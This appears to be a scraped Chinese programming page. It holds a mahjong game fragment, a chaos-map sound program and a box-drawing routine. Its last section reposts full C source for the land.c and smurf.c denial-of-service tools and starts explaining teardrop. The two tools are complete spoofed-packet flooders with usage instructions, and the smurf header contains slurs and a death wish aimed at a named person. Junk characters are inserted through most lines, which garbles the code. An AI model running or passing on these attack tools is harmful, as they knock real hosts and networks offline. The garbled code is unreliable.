) [3 P% f: X8 Z' H$ e" C* C" Nprintf("you win!");
8 t+ j) v0 r# s% g7 Lif(me.m==12)
if(second==1 &amp;&amp; threes==4)
5 g) F) {$ h( L5 W' Hprintf("you win!");

& R1 [  T2 V- Y) O  {kkk=0;
kkkk=0;
+ [- d7 ~3 ]4 C& U- F$ T1 H8 b# ]while(kkk&lt;=computer.m)
. t3 H" _/ ?0 Z& d; h{
if(kkk!=temp)
{
comp.pp[kkkk].k=computer.pp[kkk].k;
6 A5 w+ y! [4 dcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
# B% B  q9 K9 S" Ucomp.pp[kkkk].number=computer.pp[kkk].number;
7 f$ d* \' w" wkkkk++;
}
) R) x5 i8 N0 W5 Z5 q( k! qelse
m[computer.pp[kkk].number].data1=1;
kkk++;
}
9 V6 j. f4 @, S9 Y2 Dkkk=0;
) d1 a* f+ W& Z& @4 scomputer.m=computer.m-1;
while(kkk&lt;=computer.m)
8 ], x7 K/ m% U4 R0 V: s{
computer.pp[kkk].k=comp.pp[kkk].k;
' X9 W$ |' Q4 Y+ _% lcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
5 V. E, z. m* M0 X( {) [computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
1 T6 o) ?) U# X4 E( a- mfillRectangle(0,0,320,30,0);
' V  `9 H( Y8 H  ?n=computer.m;
ll=0;
/ n+ S0 Y7 _% I# Lzy=0;
while(ll&lt;=n)
{
/ q6 j. P. A3 V2 p7 s# Lzy=zy+20;
. ~7 @! }. W7 ushowybmp(ll);
% _& t: U; A7 B, V6 ]5 l( j, o4 w. y- jll++;
}
- b8 q/ w% p; N6 t$ d2 d7 k0 l
1 @( ~6 ]2 ]" bgetch();
1 e% e3 R+ F; f- ^# G" [5 ~) Fsing=0;
sing1=1;
3 ^  h2 @2 F; ?1 I, y8 c}
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
{
6 P* f% l2 @. ]kk=0;
h=me.pp[every].number;
0 n, J3 [  K3 A6 G# gm[h].data1=1; /*此牌已经无用*/
5 L2 a1 T7 v( ?7 @" R( z4 l1 Vif(sing1!=1)
4 v# b! T1 Q3 c6 E{
: u1 K; B' J9 s7 [2 b  s: n% ezyy=zyy+9280+20;
' r/ ?  q3 X2 I9 ^! |- u& {# ashowbmpd(every);
! a5 G* t4 Y0 m! zzyy=zyy-9280;
1 ?1 u/ p5 A1 K. c) s}
while(kk!=1)
{
- c# c6 t$ \+ s- v7 _8 stemp=random(136);
" [' T0 M9 n3 o5 Qif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
" N) F- P7 d  I& o2 `8 y# ?  Z; F! g{
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
8 N0 ^; |( h' @0 |; Z1 P' k) S9 yme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
. a1 c2 s' @7 m7 a! rme.pp[every].number=temp; /*第几张，用来排序*/
7 o9 U$ }; z% X  u5 @$ V9 g% Gm[temp].data2=1; /*判断牌是谁的*/
1 m: x  ^. e* Jkk=1;
}
% Z- m5 s+ t  b2 `- U0 @if(kk==0) /*判断如果又选择了，就从新再选*/
% W: L# X' A  Gkk=0;
' i' ?+ k( K$ ~, `- q: l}
( N$ Z, O) F9 R" F2 J7 @}
; y" _" t* d5 _3 [sing=0;
8 l7 Y% l, M) U, I& c( H) H+ f0 csing1=0;
/ r0 t+ B9 u. {7 R5 _0 {melipai();
: D+ Y% y" P  G0 @n=13;
z1=54400;
l=0;
7 i1 Q( Z4 s1 V) |- Q2 e4 ~g=z;
. v5 w2 l2 }' X5 a. C* N7 ewhile(l&lt;n)
) m$ u3 p1 Q8 P% |( r& }1 C{ z=0;
  K! X2 ]6 U6 `3 X; ]z1=z1+20;
. A: H6 r6 G8 J7 ashowbmp(l);
l++;
6 O3 F; e9 H) f  _( q! {5 i}
z1=0;
' t) g) z$ n* l8 w8 m! W! [z=g;
& [6 M* b' |& o# f}
keyy=0;
}
8 J! r5 a! u, n& y: r" C
getch();
OUTVGA;
}
</P></DIV>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ[n＋1]=k＊χ[n]＊(1－χ[n])
3 w. S5 B/ u9 G. U# K7 w7 E/ v</P><>　　其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ[n]在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ[n]非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示：
6 X5 b1 h$ C, v) z
# p- v  v+ K. p) o- e  p　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
　　<FONT color=#009900>＃include <DOS.H>
　　＃include <STDIO.H>
8 P( m# N: a. \7 r, F2 c　　main(){
% B! C, [) m0 D6 @& f　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
" p; ^; q0 R0 F: h, u　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
: L6 |# b0 s9 ~" e4 Y( X9 O8 A　　/＊i,j用于循环记数＊/
　　float x=0.1,k; /＊x代表x[n]的大小，设定其初始值为0.1，即x[0]=0.1＊/
　　fDis=fMax－fMin;
9 v- S% H0 [3 b# \/ z　　for(j=1;;j＋＋){
　　printf("lease input The value of k(1－4.0)\n"); /＊输入k值＊/
　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
　　scanf("％f",＆k);
) g# @5 c8 w) a! ?　　if (k==0) break;
' X, M, ?- v3 h  @9 L9 u　　for(i=1;i&lt;100;i＋＋) /＊去除开始的100个点＊/
　　x=k＊x＊(1－x);
, j8 f3 G4 _$ H$ {# L　　for (i=1;i&lt;100;i＋＋){
　　x=k＊x＊(1－x); /＊计算x的值＊/
4 _: @9 I" {: e) G0 G1 r% J3 |　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
　　delay(1000); }
　　nosound(); }}
　　</FONT>执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</P></DIV>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
<FONT color=#009900>/*
' Y0 v, V' w* t' k; B- Y*
* Short driver module
*
*/</FONT></P><><FONT color=#009900>main()
{
clrscr();
2 ]9 G$ W- ?3 Y; S+ ^box(1,1,23,79);
box(2,2,21,77);
box(3,3,19,75);
( {* h* Z0 Q0 a( m# W6 Ibox(4,4,17,73);
) ]  G  q4 O' [8 Fbox(5,5,15,71);
9 c& I, D  j9 @: Zbox(6,6,13,69);
5 ~/ Z7 A& {$ z0 L8 a! ]/ P2 _) tbox(7,7,11,67);
box(8,8,9,65);
. b( O3 z6 l6 B5 vbox(9,9,7,63);
box(10,10,5,61);
% B5 ^) I9 K8 q% _  hbox(11,11,3,59);
) F* e& O2 \/ I* [9 W9 |box(12,12,1,57);
7 V5 @. i) J' A+ h" [; y& Y) mposcur(24,1);
+ N1 }) Z  D, B5 e}</FONT></P><><FONT color=#009900>/************************************************************
- J7 q6 K5 O5 e; h* BOX *
9 P6 _4 ]8 _$ \3 q- X) |*----------------------------------------------------------*
- t8 [+ @3 u: w* Written by: Jeff Ebert 7/01/87 *
8 a/ G  A- ^* H3 Q) F5 Z: }- G# H$ E* Modified by: xxxxxxxxxx *
* j9 Z0 ?5 B4 _/ e! R, f2 k4 T) V* *
4 v. u' R" J9 ?3 j& c' k7 \* Please modify me! *
. S& Q  L0 l$ `3 [  m5 s7 B* Possible Enhancements include but are not limited t *
* 1) Variable box character styles [1 line or 2] *
* 2) Error checking *
7 B% s& s) P# O! }/ s7 m8 h* 3) Color options *
* *
3 U: @, o) {- T/ A* *
* This function builds a simple double frame for a menu. *
* The function is passed the parameters for the upper *
* left corner row, upper left corner column the height *
* of the frame and the width. *
: w) T1 n: ~4 @) @9 u- F* *
9 t! S9 J' y, k************************************************************/
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
& j# h4 K* r7 _9 [# m) g% G1 ]#define URCOR 187
#define LLCOR 200
( M" T; O% z7 z! \4 d6 d6 G#define LRCOR 188
" G4 E; \/ r$ Z" o* b#define VBAR 186
#define HBAR 205
! Z0 \# P/ X* l: H+ [) m#define ESC 27</FONT></P><><FONT color=#009900>
box(row, col, hgt, wdth)
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
putchar(ULCOR);
1 J3 S: L1 M! H; R9 H7 s. Ifor(x = col + 1; x &lt;=(col + wdth -1); x++)
# T/ U  M" [( D% d7 [1 T1 ?# Vputchar(HBAR);
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
poscur(x,col);
& x( m* M6 i1 }: Q. s7 F$ oputchar(VBAR);
poscur(x,col+wdth);
putchar(VBAR);
% S* {% F! w9 {3 z2 g2 I}
6 _* L% r: i5 a& ~poscur(x,col);
5 T: `. k: a) k" t7 rputchar(LLCOR);
4 n8 m2 P, g# `- S% [+ L& Rfor(x= col + 1; x &lt;=(col + wdth -1); x++)
putchar(HBAR);
, J- c! z4 d+ `& ?putchar(LRCOR);
' l- ^8 l8 W$ w! |}</FONT></P><><FONT color=#009900>/********************************************************
6 z' Z) ~9 {% |  R! ^& [0 `$ W* POSCUR *
" G3 O7 C9 m7 P) L+ I* V$ s*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
1 w9 t. P8 G  v1 r; T/ [% S* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
  z9 x0 X$ I  G0 T9 P8 `6 @********************************************************/
poscur(xcor,ycor)
int xcor,ycor;
{
printf("%c[%d;%dH",ESC,xcor,ycor);
: m+ C" ?  u1 m" l/ k3 R  B; g}</FONT></P><><FONT color=#009900>
$ c* w# V$ d2 R* L/********************************************************
* CLRSCR *
( d# C/ A( v$ W# h2 l* ?*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
% [8 D3 u0 E, A5 L( F- j8 o* sequence to produce the desired effect. Its not the *
# d) M4 {6 M/ Q1 k* fastest way to position the cursor, but perhaps the *
7 S' R" N( B# Q5 s7 f8 u6 g" H* most portable. *
* *
********************************************************/
clrscr()
{
printf("%c[2J",ESC);
5 }; [* I2 i* N5 |. ~/ F# S7 t: h9 Z}</FONT>
8 B* |: \3 ]$ x2 S</P>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
1 w% b8 F, G$ s6 g6 e! N这里有一些是老的，现在看来并没有用，但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。</P><>
<FONT color=#009900>/* land.c by m3lt, FLC
% z! Q( v" Q8 C; X! ^- fcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
8 h+ Q* a1 d0 A* Z3 U. K5 J$ f#include <NETDB.H>
" A! d" i& o. T, p#include <ARPA inet.h>
1 c, c6 r9 H5 U8 D( @* K  k( g#include <NETINET in.h>
# m/ j: }1 v7 p, y' T#include <SYS types.h>
8 r1 K9 A; A: f. e( H4 P0 e#include <SYS socket.h>
( t/ ?- k- d3 T: P#include <NETINET ip.h>
$ T, |) n$ c, [: ]7 w#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
struct pseudohdr
+ a4 w" w. v! i{
struct in_addr saddr;
7 O3 P$ e& |7 Z2 F* sstruct in_addr daddr;
u_char zero;
& q. G; ?! X: B% ^* Ju_char protocol;
1 W6 n6 b7 ~1 B6 fu_short length;
& M+ C; k! L3 m) e- nstruct tcphdr tcpheader;
1 L9 b; g. i; f- }};</FONT></P><><FONT color=#009900>//计算IP校验和
3 X3 O; J% j6 M4 Q! y3 zu_short checksum(u_short * data,u_short length)
2 y. }5 b6 [( h8 G( f0 o{
register long value;
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
# L* o: `$ u# {; j}</FONT></P><><FONT color=#009900>
. s* N. y! L* hint main(int argc,char * * argv)
  `7 n8 a5 m- ?{
  l' \9 f& r/ Xstruct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
3 D7 z' E" c* `9 x4 U+ v* K- j{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
; J! n; W$ i8 U9 O, S: `; [6 J{
4 e8 G  `6 i$ f& Hfprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
4 F1 Q# g6 M9 x; T* J7 u}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
* C5 E4 s1 M, R" k. Sfprintf(stderr,"couldn't allocate raw socket\n");
9 A2 R3 n! j' z  g2 D$ d: x% Preturn(-1);
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
4 j" g! p$ z$ l) }* _) vipheader-&gt;version=4;
* N+ N- o' J) H( kipheader-&gt;ihl=sizeof(struct iphdr)/4;
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
6 C6 R9 w) {: r6 X( s: ]ipheader-&gt;id=htons(0xF1C);
. P' X+ Z* r! a" s. ]1 G" p0 l3 hipheader-&gt;ttl=255;
/ E. J0 N8 O% L; dipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
ipheader-&gt;saddr=sin.sin_addr.s_addr;
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
tcpheader-&gt;th_sport=sin.sin_port;
tcpheader-&gt;th_dport=sin.sin_port;
# b# y" v2 Q1 F& N- qtcpheader-&gt;th_seq=htonl(0xF1C);
tcpheader-&gt;th_flags=TH_SYN;
- M! w/ U1 ^  [tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
2 Q! K; w$ D2 cpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
8 l8 I5 d7 B: u8 l" Z! J& r; Npseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
8 }: V4 V! N- |0 `; Btcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
% ?3 h5 m# D1 D/ m+ ]) ^( i0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
{
0 L5 o# c0 Q! ?' |7 nfprintf(stderr,"couldn't send packet\n");
7 g6 c5 E+ B& zreturn(-1);
4 K# P3 z  D2 [7 l: q}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
3 d1 E( P! l' [# T  m/ Rreturn(0);
+ ?# }! t3 f  O  m5 ]7 i% U}</FONT></P><>
( `/ }9 H" E# U$ `. Q2 Smurf
smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
: x: n9 {% M) Z# a+ X的源地址）崩溃。</P><>受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
6 i# |1 l; b* h9 b! \% q) R（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
成不可能（没有WINS服务器时）。</P><P>/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
: x9 O: q9 ~0 T$ K+ X: ~* j9 l*
# ]5 _* n; K0 K4 ^: f* spoofs icmp packets from a host to various broadcast addresses resulting
9 f* @0 D, v5 N* in multiple replies to that host from a single packet.
*
* mad head t
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
  B8 K# p2 s$ L* MissSatan for swallowing, napster for pimping my sister, the guy that
* invented vaseline, fyber for trying, knowy, old school #havok, kain
2 {* t; ]' Y# f* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
7 ~( r$ p5 P9 A- ]* have missed (you know who you are).
! S) I, [- a* Q' U" G+ a8 h*
) ^, l2 u9 j; F# w+ q. U* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
* half the cheque).
0 l5 Z8 C8 B: a0 Z7 Z: U*
* and a special hi to Todd, face it dude, you're fucking awesome.
3 i' Y3 L: H/ r: s0 a*
* mad anal t
/ m( C% @: v% C5 U& y* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
* because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
, w( o# a8 C) S8 z* partner, #cha0s, sedriss for having an ego in inverse proportion to
6 [. l5 q7 W% @* his penis and anyone that can't pee standing up -- you don't know what
& s, _% |; q4 [3 m- X" C5 h# B9 E9 V( }* your missing out on.
*
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
2 w! C/ ~9 {0 l6 {  j*
% |5 U% A6 t$ ~3 q7 \; q* `# X* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
# `! {0 z  x! R: ?/ a  V* no respect but you're a manipulating prick who tried to take away the
' f  J5 i& s  f* most important thing in the world to me with no guilt whatsoever, and
1 J6 m1 Z4 f9 |# ?3 N* for that I wish you nothing but pain. Die.
*
* \3 g8 j7 e" Y3 u* disclaimer:
: X7 v6 G" V3 O6 K# c* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
, A$ E8 e, o9 q2 o7 ]; Q& s9 i2 L( S* program and I refuse to provide help or support of any kind and do NOT
* condone use of this program to deny service to anyone or any machine.
* This is for educational use only. Please Don't abuse this.
$ n2 Y$ W, A+ J' g. ~4 w*
! v: e8 a- r2 p: `3 }1 k2 [7 Y  |3 J* Well, i really, really, hate this code, but yet here I am creating another
' G; h" t  b4 T# I1 r$ \* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
* like most programmers don't like seeing bugs in their code. I saw a few
' D/ C3 l( P4 W' ~1 b4 h& p3 n2 N* things that should have been done better or needed fixing so I fixed
* them. -shrug-, programming for me as always seemed to take the pain away
* ...
*
4 f& E% Z2 W5 [*
* O8 _5 J  t9 M% \+ B- U. M9 x*/</P><P>#include <SIGNAL.H>
& K! c; k1 D" S* I" s, q#include <STDIO.H>
#include <STDLIB.H>
4 x1 x2 p/ b! T) _. q#include <SYS socket.h>
#include <SYS types.h>
#include <NETINET in.h>
- e$ q) R! U" P0 R- I; d#include <NETINET ip.h>
- C4 g! X5 f& L6 g$ c  b#include <NETINET ip_icmp.h>
#include <NETDB.H>
; M% Y$ {, g2 U' Z  Q. }$ x#include <CTYPE.H>
6 e+ G" U# m& p/ _" v! Z2 U. X#include <ARPA inet.h>
! K: L+ p2 c; r$ e+ f#include <UNISTD.H>
9 K) i+ F" R  s! |' }#include <STRING.H></P><P>void banner(void);
void usage(char *);
& X, C0 `+ j& {& Rvoid smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
{
$ }0 ?, a4 Z2 r$ jstruct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
- ?) [- w- b* Dint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
: z  S) b/ e+ j! Z6 |% Bchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
perror("resolving source host");
exit(-1);
}
  W$ Y) Y* B4 B) W% ^1 g% [memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
: e, g8 G- G' G  u3 psin.sin_family = AF_INET;
0 K6 o7 L9 r8 m: m. X$ `sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
delay = atoi(argv[4]);
* G' K+ p) T' T0 Q7 wpktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
exit(-1);
$ H' r. q2 s6 N5 N}
/ _( {5 g; F% y5 d9 rx = 0;
+ l2 P5 {' l+ {while (!feof(bcastfile)) {
% w4 B4 C( J8 P  t6 u+ xfgets(buf, 32, bcastfile);
% M. Q8 m% _' Bif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
/ ?8 u0 e7 F) e. X  b) F9 nfor (i = 0; i &lt; strlen(buf); i++)
/ C2 ^" v8 C- ~if (buf == '\n') buf = '\0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
$ f4 H% y. D" e8 A+ p/ U/ v7 v}
" y! c7 R* u* o& h* A0 d- qbcastaddr[x] = 0x0;
# \& `5 x8 i, R5 Vfclose(bcastfile);</P><P>if (x == 0) {
' G4 R" Q" f4 s! Z8 Ofprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
8 X- d& ~% O" a4 M/ nexit(-1);
1 L5 |& r: V2 |3 q}
3 z8 w* U% V: V6 x8 o2 x$ \. gif (pktsize &gt; 1024) {
1 R; u9 N' o! J1 v9 Tfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
exit(-1);
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
& R+ H2 b! ^. K6 o/ z( zperror("getting socket");
exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
if (!(i % 25)) { printf("."); fflush(stdout); }
3 j; c) J. W# P. w$ }8 hsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
: m) L8 Q/ H* l8 L8 d4 R0 Acycle++;
if (bcastaddr[cycle] == 0x0) cycle = 0;
* b! k) u; n; N6 t& l/ zusleep(delay);
}
# }4 U6 o3 T4 H  E: T- v* Wputs("\n\n");
! Y( s0 E: ^% W) M, v0 m1 p# `+ wreturn 0;
: y* v0 v4 m: b}</P><P>void banner (void)
{
$ }% L2 L( ^9 ~4 V) Q/ cputs("\nsmurf.c v4.0 by TFreak\n");
}</P><P>void usage (char *prog)
{
) e) H. }9 A% V3 A7 jfprintf(stderr, "usage: %s <TARGET><BCAST file>"
: o8 P0 c3 X3 K: N3 e"<NUM packets> <PACKET delay><PACKET size>\n\n"
" `# \" N3 L6 y- s. l( G8 @"target = address to hit\n"
% d* S. h5 ]& O: Z+ O"bcast file = file to read broadcast addresses from\n"
% A9 z( s6 M# y"num packets = number of packets to send (0 = flood)\n"
# P) O0 u& b* ^0 X2 ~4 V; ^"packet delay = wait between each packet (in ms)\n"
. R4 v+ P5 i- v- h+ B0 W"packet size = size of packet (&lt; 1024)\n\n", prog);
# U7 T: A+ X' Oexit(-1);
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
2 V* u4 y9 R' k, }: f4 M' ^1 l, U$ _( dstruct iphdr *ip;
struct icmphdr *icmp;
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  A& G- k/ `4 [! X- oip = (struct iphdr *)packet;
) g# H/ t; i& a' b  O/ Iicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip-&gt;ihl = 5;
ip-&gt;version = 4;
ip-&gt;ttl = 255;
ip-&gt;tos = 0;
ip-&gt;frag_off = 0;
8 d. {' u# S4 y; J; Oip-&gt;protocol = IPPROTO_ICMP;
ip-&gt;saddr = sin.sin_addr.s_addr;
; @2 @- ~/ T9 dip-&gt;daddr = dest;
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp-&gt;type = 8;
/ h$ ]; v$ v1 Aicmp-&gt;code = 0;
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
}</P><P>void ctrlc (int ignored)
{
+ R$ z7 a2 h; m& O7 mputs("\nDone!\n");
exit(1);
}</P><P>unsigned short in_chksum (u_short *addr, int len)
5 D: S+ O2 S0 U2 e3 T+ w% K{
register int nleft = len;
  h9 }4 {+ [: S  c' p( iregister int sum = 0;
u_short answer = 0;</P><P>while (nleft &gt; 1) {
sum += *addr++;
/ v7 H. y6 t' U2 k+ I5 a0 m  f0 W, Onleft -= 2;
4 D0 S6 G% ~+ h% G6 v+ D% b* k}</P><P>if (nleft == 1) {
*(u_char *)(&amp;answer) = *(u_char *)addr;
1 m# s3 u9 U- r7 k1 csum += answer;
3 j8 r3 A  ~3 E0 _" r  f7 ~; u# m9 c}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
3 S, Q( q( i. ]$ R9 w: y; h. W3 Vsum += (sum &gt;&gt; 16);
: O+ X1 m. c3 w5 U- J2 i8 ~- ganswer = ~sum;
return(answer);
}</P><P>
5 I3 G$ i- w! \8 c) W1 \0 p3 L3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中：</P><P>在循环中重组ip包：
7 I2 q7 b( \3 l- w$ K/ O; C: Cfp = qp-&gt;fragments;
9 H  P+ }0 _9 Z) V+ B5 O8 Hwhile(fp != NULL)
' |+ N3 G3 n4 j* l1 i{
; k* ~" _4 p# B. d$ oif(count+fp-&gt;len &gt; skb-&gt;len)
{
, i7 Q: |1 Y6 _6 A7 Zerror_to_big;
  z/ f* q( {2 U: E9 R( A7 a; z& a}
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
$ Y' }$ V$ N2 H" T0 ?1 Gcount += fp-&gt;len;
fp = fp-&gt;next;
}
这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp-&gt;len&lt;0 时，也会使内核拷贝过多的东西。</P><P>计算分片的结束位置：
